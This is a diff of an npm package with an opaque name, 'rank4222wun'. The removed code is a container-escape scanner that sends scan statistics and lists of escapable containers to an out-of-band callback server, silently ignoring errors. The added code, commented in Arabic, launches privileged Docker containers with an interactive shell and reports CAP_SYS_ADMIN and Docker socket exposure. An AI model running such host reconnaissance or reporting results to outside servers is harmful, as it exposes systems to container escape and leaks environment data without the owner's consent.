233
|
+
const outputFile = this.saveOutput();
|
|
579
234
|
|
|
580
|
-
|
|
581
|
-
|
|
582
|
-
} catch (error) {
|
|
583
|
-
console.error('❌ Failed to discover containers:', error.message);
|
|
584
|
-
return [];
|
|
585
|
-
}
|
|
586
|
-
}
|
|
587
|
-
|
|
588
|
-
async scanContainers(containerIds) {
|
|
589
|
-
console.log(`🚀 Starting scan of ${containerIds.length} containers...\n`);
|
|
590
|
-
|
|
591
|
-
// Create scanners
|
|
592
|
-
this.scanners = containerIds.map(id => new ContainerScanner(id));
|
|
593
|
-
|
|
594
|
-
// Scan in batches to avoid overwhelming the system
|
|
595
|
-
const batchSize = CONFIG.SCAN.parallelScans;
|
|
596
|
-
for (let i = 0; i < this.scanners.length; i += batchSize) {
|
|
597
|
-
const batch = this.scanners.slice(i, i + batchSize);
|
|
598
|
-
console.log(`📊 Batch ${Math.floor(i/batchSize) + 1}: Scanning ${batch.length} containers...`);
|
|
235
|
+
// 4. عرض الملخص
|
|
236
|
+
this.showSummary(results, outputFile);
|
|
599
237
|
|
|
600
|
-
|
|
601
|
-
|
|
602
|
-
|
|
603
|
-
|
|
604
|
-
|
|
605
|
-
);
|
|
238
|
+
// 5. خيار shell تفاعلي
|
|
239
|
+
console.log('\n🎯 الخيارات المتاحة:');
|
|
240
|
+
console.log(' 1. تشغيل shell تفاعلي (bash)');
|
|
241
|
+
console.log(' 2. تنظيف الحاوية والخروج');
|
|
242
|
+
console.log(' 3. الخروج بدون تنظيف');
|
|
606
243
|
|
|
607
|
-
|
|
608
|
-
this.
|
|
244
|
+
// انتظار قرار المستخدم
|
|
245
|
+
await this.waitForUserDecision();
|
|
609
246
|
|
|
610
|
-
|
|
611
|
-
|
|
612
|
-
const percent = Math.round((scanned / this.scanners.length) * 100);
|
|
613
|
-
console.log(`📈 Progress: ${scanned}/${this.scanners.length} (${percent}%)\n`);
|
|
614
|
-
}
|
|
615
|
-
|
|
616
|
-
return this.results;
|
|
617
|
-
}
|
|
618
|
-
|
|
619
|
-
async generateReport() {
|
|
620
|
-
console.log('\n' + '═'.repeat(80));
|
|
621
|
-
console.log('📊 MULTI-CONTAINER ESCAPE SCAN REPORT');
|
|
622
|
-
console.log('═'.repeat(80));
|
|
623
|
-
|
|
624
|
-
const report = {
|
|
625
|
-
metadata: {
|
|
626
|
-
timestamp: new Date().toISOString(),
|
|
627
|
-
sessionId: CONFIG.OAST.sessionId,
|
|
628
|
-
scanDuration: Date.now() - STATE.startTime,
|
|
629
|
-
config: CONFIG
|
|
630
|
-
},
|
|
631
|
-
statistics: STATE.statistics,
|
|
632
|
-
oast: {
|
|
633
|
-
domain: CONFIG.OAST.domain,
|
|
634
|
-
interactions: STATE.oastInteractions.length,
|
|
635
|
-
session: CONFIG.OAST.sessionId
|
|
636
|
-
},
|
|
637
|
-
containers: this.results,
|
|
638
|
-
summary: this.generateSummary()
|
|
639
|
-
};
|
|
640
|
-
|
|
641
|
-
// Print summary
|
|
642
|
-
this.printSummary(report.summary);
|
|
643
|
-
|
|
644
|
-
// Save report if enabled
|
|
645
|
-
if (CONFIG.OUTPUT.saveReports) {
|
|
646
|
-
await this.saveReport(report);
|
|
247
|
+
} catch (error) {
|
|
248
|
+
console.error('❌ فشل التشغيل:', error.message);
|
|
647
249
|
}
|
|
648
|
-
|
|
649
|
-
return report;
|
|
650
250
|
}
|
|
651
251
|
|
|
652
|
-
|
|
653
|
-
|
|
654
|
-
|
|
655
|
-
|
|
656
|
-
|
|
657
|
-
|
|
658
|
-
|
|
659
|
-
|
|
660
|
-
|
|
661
|
-
|
|
662
|
-
if (
|
|
663
|
-
|
|
664
|
-
id: container.id.substring(0, 12),
|
|
665
|
-
name: container.name,
|
|
666
|
-
confidence: container.confidence,
|
|
667
|
-
methods: container.methods,
|
|
668
|
-
risk: container.risk
|
|
669
|
-
});
|
|
670
|
-
}
|
|
671
|
-
|
|
672
|
-
if (container.vulnerabilities.length > 0) {
|
|
673
|
-
summary.vulnerableContainers.push({
|
|
674
|
-
id: container.id.substring(0, 12),
|
|
675
|
-
name: container.name,
|
|
676
|
-
vulnerabilities: container.vulnerabilities
|
|
677
|
-
});
|
|
678
|
-
}
|
|
679
|
-
|
|
680
|
-
if (container.risk === 'critical') {
|
|
681
|
-
summary.criticalIssues.push({
|
|
682
|
-
id: container.id.substring(0, 12),
|
|
683
|
-
name: container.name,
|
|
684
|
-
evidence: container.evidence.slice(0, 3)
|
|
685
|
-
});
|
|
252
|
+
showSummary(results, outputFile) {
|
|
253
|
+
console.log('\n' + '='.repeat(60));
|
|
254
|
+
console.log('📊 ملخص تشغيل الحاوية المميزة');
|
|
255
|
+
console.log('='.repeat(60));
|
|
256
|
+
|
|
257
|
+
console.log(`📦 Container ID: ${this.containerId?.substring(0, 12) || 'غير معروف'}`);
|
|
258
|
+
console.log(`📁 الناتج محفوظ في: ${outputFile}`);
|
|
259
|
+
|
|
260
|
+
if (results.osInfo) {
|
|
261
|
+
const osLine = results.osInfo.split('\n').find(l => l.includes('PRETTY_NAME'));
|
|
262
|
+
if (osLine) {
|
|
263
|
+
console.log(`🐧 النظام: ${osLine.split('=')[1]?.replace(/"/g, '')}`);
|
|
686
264
|
}
|
|
687
|
-
});
|
|
688
|
-
|
|
689
|
-
// Generate recommendations
|
|
690
|
-
if (summary.escapedContainers.length > 0) {
|
|
691
|
-
summary.recommendations.push(
|
|
692
|
-
`Immediate action required: ${summary.escapedContainers.length} containers can escape to host`
|
|
693
|
-
);
|
|
694
|
-
}
|
|
695
|
-
|
|
696
|
-
if (summary.criticalIssues.length > 0) {
|
|
697
|
-
summary.recommendations.push(
|
|
698
|
-
`Critical vulnerabilities found in ${summary.criticalIssues.length} containers`
|
|
699
|
-
);
|
|
700
265
|
}
|
|
701
266
|
|
|
702
|
-
if (
|
|
703
|
-
|
|
704
|
-
`Update kernel/software in ${summary.vulnerableContainers.length} containers`
|
|
705
|
-
);
|
|
267
|
+
if (results.kernelInfo) {
|
|
268
|
+
console.log(`⚙️ Kernel: ${results.kernelInfo.split(' ')[2]}`);
|
|
706
269
|
}
|
|
707
270
|
|
|
708
|
-
if (
|
|
709
|
-
|
|
271
|
+
if (results.capabilities && results.capabilities.includes('cap_sys_admin')) {
|
|
272
|
+
console.log(`🔓 الصلاحيات: CAP_SYS_ADMIN متاحة (صلاحيات مميزة كاملة)`);
|
|
710
273
|
}
|
|
711
274
|
|
|
712
|
-
|
|
275
|
+
console.log(`🔌 Docker socket: ${results.dockerSocket ? '✅ موجود' : '❌ غير موجود'}`);
|
|
276
|
+
console.log('='.repeat(60));
|
|
713
277
|
}
|
|
714
278
|
|
|
715
|
-
|
|
716
|
-
|
|
717
|
-
|
|
718
|
-
|
|
719
|
-
console.log(' Vulnerable containers:', summary.vulnerableContainers.length);
|
|
720
|
-
console.log(' Critical issues:', summary.criticalIssues.length);
|
|
721
|
-
|
|
722
|
-
if (summary.escapedContainers.length > 0) {
|
|
723
|
-
console.log('\n🚨 CRITICAL - CONTAINERS THAT CAN ESCAPE:');
|
|
724
|
-
summary.escapedContainers.forEach((container, i) => {
|
|
725
|
-
console.log(` ${i + 1}. ${container.name || container.id}`);
|
|
726
|
-
console.log(` Confidence: ${container.confidence}% | Risk: ${container.risk.toUpperCase()}`);
|
|
727
|
-
console.log(` Methods: ${container.methods.join(', ')}`);
|
|
728
|
-
});
|
|
729
|
-
}
|
|
730
|
-
|
|
731
|
-
if (summary.criticalIssues.length > 0) {
|
|
732
|
-
console.log('\n⚠️ CRITICAL VULNERABILITIES:');
|
|
733
|
-
summary.criticalIssues.forEach((issue, i) => {
|
|
734
|
-
console.log(` ${i + 1}. ${issue.name || issue.id}`);
|
|
735
|
-
issue.evidence.forEach(ev => console.log(` - ${ev}`));
|
|
736
|
-
});
|
|
737
|
-
}
|
|
738
|
-
|
|
739
|
-
console.log('\n💡 RECOMMENDATIONS:');
|
|
740
|
-
summary.recommendations.forEach((rec, i) => {
|
|
741
|
-
console.log(` ${i + 1}. ${rec}`);
|
|
279
|
+
async waitForUserDecision() {
|
|
280
|
+
const readline = require('readline').createInterface({
|
|
281
|
+
input: process.stdin,
|
|
282
|
+
output: process.stdout
|
|
742
283
|
});
|
|
743
284
|
|
|
744
|
-
|
|
745
|
-
|
|
746
|
-
|
|
747
|
-
|
|
748
|
-
|
|
749
|
-
|
|
750
|
-
|
|
751
|
-
|
|
752
|
-
|
|
753
|
-
|
|
754
|
-
|
|
755
|
-
|
|
756
|
-
|
|
757
|
-
|
|
758
|
-
|
|
759
|
-
|
|
760
|
-
|
|
761
|
-
|
|
762
|
-
|
|
763
|
-
|
|
764
|
-
|
|
765
|
-
|
|
766
|
-
|
|
767
|
-
|
|
768
|
-
|
|
769
|
-
|
|
770
|
-
console.log(`\n💾 Full report saved to: ${filename}`);
|
|
771
|
-
|
|
772
|
-
// Also save a summary file
|
|
773
|
-
const summaryFilename = `scan-summary-${timestamp}.txt`;
|
|
774
|
-
let summaryText = `MULTI-CONTAINER ESCAPE SCAN SUMMARY\n`;
|
|
775
|
-
summaryText += `Date: ${new Date().toLocaleString()}\n`;
|
|
776
|
-
summaryText += `Session ID: ${CONFIG.OAST.sessionId}\n\n`;
|
|
777
|
-
|
|
778
|
-
summaryText += `STATISTICS:\n`;
|
|
779
|
-
summaryText += ` Total containers: ${report.statistics.totalContainers}\n`;
|
|
780
|
-
summaryText += ` Escaped containers: ${report.summary.escapedContainers.length}\n`;
|
|
781
|
-
summaryText += ` Critical issues: ${report.summary.criticalIssues.length}\n\n`;
|
|
782
|
-
|
|
783
|
-
if (report.summary.escapedContainers.length > 0) {
|
|
784
|
-
summaryText += `CRITICAL CONTAINERS:\n`;
|
|
785
|
-
report.summary.escapedContainers.forEach(container => {
|
|
786
|
-
summaryText += ` - ${container.name || container.id} (${container.confidence}%)\n`;
|
|
787
|
-
});
|
|
788
|
-
summaryText += '\n';
|
|
789
|
-
}
|
|
790
|
-
|
|
791
|
-
summaryText += `OAST DETAILS:\n`;
|
|
792
|
-
summaryText += ` Domain: ${CONFIG.OAST.domain}\n`;
|
|
793
|
-
summaryText += ` Session: ${CONFIG.OAST.sessionId}\n`;
|
|
794
|
-
summaryText += ` Interactions: ${STATE.oastInteractions.length}\n`;
|
|
795
|
-
|
|
796
|
-
fs.writeFileSync(summaryFilename, summaryText);
|
|
797
|
-
console.log(`📝 Summary saved to: ${summaryFilename}`);
|
|
798
|
-
|
|
799
|
-
} catch (error) {
|
|
800
|
-
console.error('❌ Failed to save report:', error.message);
|
|
801
|
-
}
|
|
802
|
-
}
|
|
803
|
-
|
|
804
|
-
exec(command) {
|
|
805
|
-
return new Promise((resolve, reject) => {
|
|
806
|
-
exec(command, { timeout: 10000 }, (error, stdout, stderr) => {
|
|
807
|
-
if (error) {
|
|
808
|
-
reject(error);
|
|
809
|
-
} else {
|
|
810
|
-
resolve(stdout.toString().trim());
|
|
285
|
+
return new Promise((resolve) => {
|
|
286
|
+
readline.question('\nاختر رقم الخيار: ', async (answer) => {
|
|
287
|
+
switch(answer.trim()) {
|
|
288
|
+
case '1':
|
|
289
|
+
await this.getInteractiveShell();
|
|
290
|
+
readline.close();
|
|
291
|
+
await this.cleanup();
|
|
292
|
+
resolve();
|
|
293
|
+
break;
|
|
294
|
+
|
|
295
|
+
case '2':
|
|
296
|
+
readline.close();
|
|
297
|
+
await this.cleanup();
|
|
298
|
+
resolve();
|
|
299
|
+
break;
|
|
300
|
+
|
|
301
|
+
case '3':
|
|
302
|
+
default:
|
|
303
|
+
readline.close();
|
|
304
|
+
console.log('👋 تم الخروج. الحاوية لا تزال تعمل.');
|
|
305
|
+
console.log(` Container ID: ${this.containerId}`);
|
|
306
|
+
console.log(' يمكنك تنظيفها يدوياً:');
|
|
307
|
+
console.log(` docker stop ${this.containerId}`);
|
|
308
|
+
console.log(` docker rm ${this.containerId}`);
|
|
309
|
+
resolve();
|
|
310
|
+
break;
|
|
811
311
|
}
|
|
812
312
|
});
|
|
813
313
|
});
|
|
814
314
|
}
|
|
815
315
|
}
|
|
816
316
|
|
|
817
|
-
// =====================
|
|
317
|
+
// ===================== النسخة المبسطة =====================
|
|
318
|
+
function runSimplePrivilegedContainer() {
|
|
319
|
+
console.log('🚀 جاري تشغيل: docker run --privileged -it ubuntu:latest /bin/bash\n');
|
|
320
|
+
|
|
321
|
+
const dockerProcess = spawn('docker', [
|
|
322
|
+
'run', '--privileged', '-it', 'ubuntu:latest', '/bin/bash'
|
|
323
|
+
], {
|
|
324
|
+
stdio: 'inherit'
|
|
325
|
+
});
|
|
326
|
+
|
|
327
|
+
dockerProcess.on('close', (code) => {
|
|
328
|
+
console.log(`\n🔚 الحاوية أغلقت مع الكود: ${code}`);
|
|
329
|
+
});
|
|
330
|
+
|
|
331
|
+
// التعامل مع إشارات الإغلاق
|
|
332
|
+
process.on('SIGINT', () => {
|
|
333
|
+
console.log('\n\n⚠️ تم استقبال Ctrl+C...');
|
|
334
|
+
dockerProcess.kill('SIGINT');
|
|
335
|
+
});
|
|
336
|
+
}
|
|
337
|
+
|
|
338
|
+
// ===================== النسخة مع أوامر مسبقة =====================
|
|
339
|
+
function runWithPredefinedCommands() {
|
|
340
|
+
console.log('🚀 تشغيل حاوية مع أوامر مسبقة...\n');
|
|
341
|
+
|
|
342
|
+
const commands = [
|
|
343
|
+
'echo "=== مرحباً من الحاوية المميزة ==="',
|
|
344
|
+
'cat /etc/os-release | grep PRETTY_NAME',
|
|
345
|
+
'uname -a',
|
|
346
|
+
'whoami',
|
|
347
|
+
'id',
|
|
348
|
+
'echo "=== الصلاحيات ==="',
|
|
349
|
+
'capsh --print 2>/dev/null | head -5 || echo "capsh غير متاح"',
|
|
350
|
+
'echo "=== انتهى ==="',
|
|
351
|
+
'exit 0'
|
|
352
|
+
];
|
|
353
|
+
|
|
354
|
+
const dockerProcess = spawn('docker', [
|
|
355
|
+
'run', '--privileged', '--rm', 'ubuntu:latest', 'sh', '-c', commands.join(' && ')
|
|
356
|
+
]);
|
|
357
|
+
|
|
358
|
+
dockerProcess.stdout.on('data', (data) => {
|
|
359
|
+
console.log(data.toString());
|
|
360
|
+
});
|
|
361
|
+
|
|
362
|
+
dockerProcess.stderr.on('data', (data) => {
|
|
363
|
+
console.error(data.toString());
|
|
364
|
+
});
|
|
365
|
+
|
|
366
|
+
dockerProcess.on('close', (code) => {
|
|
367
|
+
console.log(`\n✅ انتهى مع الكود: ${code}`);
|
|
368
|
+
});
|
|
369
|
+
}
|
|
370
|
+
|
|
371
|
+
// ===================== الوظيفة الرئيسية =====================
|
|
818
372
|
async function main() {
|
|
819
|
-
console.log(
|
|
820
|
-
|
|
821
|
-
|
|
822
|
-
|
|
823
|
-
|
|
824
|
-
|
|
373
|
+
console.log(`
|
|
374
|
+
╔══════════════════════════════════════════════════════════╗
|
|
375
|
+
║ تشغيل حاوية Docker مميزة ║
|
|
376
|
+
║ Privileged Container Runner ║
|
|
377
|
+
╚══════════════════════════════════════════════════════════╝
|
|
378
|
+
`);
|
|
825
379
|
|
|
826
|
-
|
|
827
|
-
console.log('
|
|
828
|
-
|
|
829
|
-
|
|
830
|
-
|
|
831
|
-
port: CONFIG.OAST.httpsPort,
|
|
832
|
-
path: '/scan-start',
|
|
833
|
-
method: 'POST',
|
|
834
|
-
headers: {
|
|
835
|
-
'Content-Type': 'application/json',
|
|
836
|
-
'X-Session-ID': CONFIG.OAST.sessionId
|
|
837
|
-
}
|
|
838
|
-
});
|
|
839
|
-
|
|
840
|
-
req.write(JSON.stringify({
|
|
841
|
-
action: 'scan_start',
|
|
842
|
-
timestamp: new Date().toISOString(),
|
|
843
|
-
config: {
|
|
844
|
-
parallelScans: CONFIG.SCAN.parallelScans,
|
|
845
|
-
maxContainers: CONFIG.SCAN.maxContainers
|
|
846
|
-
}
|
|
847
|
-
}));
|
|
848
|
-
req.end();
|
|
849
|
-
} catch (e) {}
|
|
380
|
+
console.log('📋 اختر طريقة التشغيل:');
|
|
381
|
+
console.log(' 1. تشغيل تفاعلي بسيط (docker run --privileged -it ubuntu:latest /bin/bash)');
|
|
382
|
+
console.log(' 2. تشغيل مع أوامر مسبقة وعرض الناتج');
|
|
383
|
+
console.log(' 3. تشغيل متقدم مع تقرير كامل');
|
|
384
|
+
console.log(' 4. خروج');
|
|
850
385
|
|
|
851
|
-
|
|
852
|
-
|
|
386
|
+
const readline = require('readline').createInterface({
|
|
387
|
+
input: process.stdin,
|
|
388
|
+
output: process.stdout
|
|
389
|
+
});
|
|
853
390
|
|
|
854
|
-
|
|
855
|
-
|
|
856
|
-
|
|
857
|
-
|
|
858
|
-
|
|
859
|
-
|
|
860
|
-
|
|
861
|
-
|
|
862
|
-
|
|
863
|
-
|
|
864
|
-
|
|
865
|
-
|
|
866
|
-
|
|
867
|
-
|
|
868
|
-
|
|
869
|
-
|
|
870
|
-
|
|
871
|
-
|
|
872
|
-
|
|
873
|
-
|
|
874
|
-
|
|
875
|
-
|
|
876
|
-
method: 'POST',
|
|
877
|
-
headers: {
|
|
878
|
-
'Content-Type': 'application/json',
|
|
879
|
-
'X-Session-ID': CONFIG.OAST.sessionId,
|
|
880
|
-
'X-Final-Report': 'true'
|
|
881
|
-
}
|
|
882
|
-
});
|
|
883
|
-
|
|
884
|
-
finalReq.write(JSON.stringify({
|
|
885
|
-
action: 'scan_complete',
|
|
886
|
-
timestamp: new Date().toISOString(),
|
|
887
|
-
statistics: report.statistics,
|
|
888
|
-
summary: report.summary,
|
|
889
|
-
sessionId: CONFIG.OAST.sessionId
|
|
890
|
-
}));
|
|
891
|
-
|
|
892
|
-
finalReq.end();
|
|
893
|
-
console.log('✅ Final report sent to OAST.');
|
|
894
|
-
} catch (e) {
|
|
895
|
-
console.log('⚠️ Could not send final report to OAST (may be expected)');
|
|
896
|
-
}
|
|
897
|
-
|
|
898
|
-
// Exit with appropriate code
|
|
899
|
-
if (report.summary.escapedContainers.length > 0) {
|
|
900
|
-
console.log('\n⚠️ Exiting with warning code (containers can escape)');
|
|
901
|
-
process.exit(2);
|
|
902
|
-
} else {
|
|
903
|
-
console.log('\n✅ Scan completed successfully.');
|
|
904
|
-
process.exit(0);
|
|
391
|
+
readline.question('\nاختر رقم: ', async (choice) => {
|
|
392
|
+
switch(choice.trim()) {
|
|
393
|
+
case '1':
|
|
394
|
+
readline.close();
|
|
395
|
+
runSimplePrivilegedContainer();
|
|
396
|
+
break;
|
|
397
|
+
|
|
398
|
+
case '2':
|
|
399
|
+
readline.close();
|
|
400
|
+
runWithPredefinedCommands();
|
|
401
|
+
break;
|
|
402
|
+
|
|
403
|
+
case '3':
|
|
404
|
+
readline.close();
|
|
405
|
+
const runner = new PrivilegedContainerRunner();
|
|
406
|
+
await runner.run();
|
|
407
|
+
break;
|
|
408
|
+
|
|
409
|
+
default:
|
|
410
|
+
readline.close();
|
|
411
|
+
console.log('👋 تم الخروج');
|
|
412
|
+
break;
|
|
905
413
|
}
|
|
906
|
-
|
|
907
|
-
} catch (error) {
|
|
908
|
-
console.error('\n❌ Scan failed:', error.message);
|
|
909
|
-
process.exit(1);
|
|
910
|
-
}
|
|
414
|
+
});
|
|
911
415
|
}
|
|
912
416
|
|
|
913
|
-
// =====================
|
|
417
|
+
// ===================== تشغيل مباشر من السطر =====================
|
|
914
418
|
if (require.main === module) {
|
|
915
|
-
//
|
|
419
|
+
// التحقق من تثبيت Docker
|
|
916
420
|
exec('which docker', (error) => {
|
|
917
421
|
if (error) {
|
|
918
|
-
console.error('❌ Docker
|
|
919
|
-
console.
|
|
422
|
+
console.error('❌ Docker غير مثبت أو غير موجود في PATH');
|
|
423
|
+
console.log(' يرجى تثبيت Docker أولاً:');
|
|
424
|
+
console.log(' https://docs.docker.com/get-docker/');
|
|
920
425
|
process.exit(1);
|
|
921
426
|
}
|
|
922
427
|
|
|
923
|
-
//
|
|
428
|
+
// التحقق من الصلاحيات
|
|
924
429
|
exec('docker ps', (error) => {
|
|
925
430
|
if (error && error.message.includes('permission denied')) {
|
|
926
|
-
console.error('❌
|
|
927
|
-
console.
|
|
431
|
+
console.error('❌ ليس لديك صلاحيات تشغيل Docker');
|
|
432
|
+
console.log(' حاول مع sudo أو أضف مستخدمك لمجموعة docker:');
|
|
433
|
+
console.log(' sudo usermod -aG docker $USER');
|
|
434
|
+
console.log(' ثم سجل الخروج وأدخل مرة أخرى');
|
|
928
435
|
process.exit(1);
|
|
929
436
|
}
|
|
930
437
|
|
|
931
|
-
//
|
|
438
|
+
// بدء البرنامج
|
|
932
439
|
main();
|
|
933
440
|
});
|
|
934
441
|
});
|
|
935
442
|
}
|
|
936
443
|
|
|
937
|
-
module.exports = {
|
|
444
|
+
module.exports = { PrivilegedContainerRunner, runSimplePrivilegedContainer };
|
|
Binary file
|
package/rank4222wun-1.0.35.tgz
DELETED
|
Binary file
|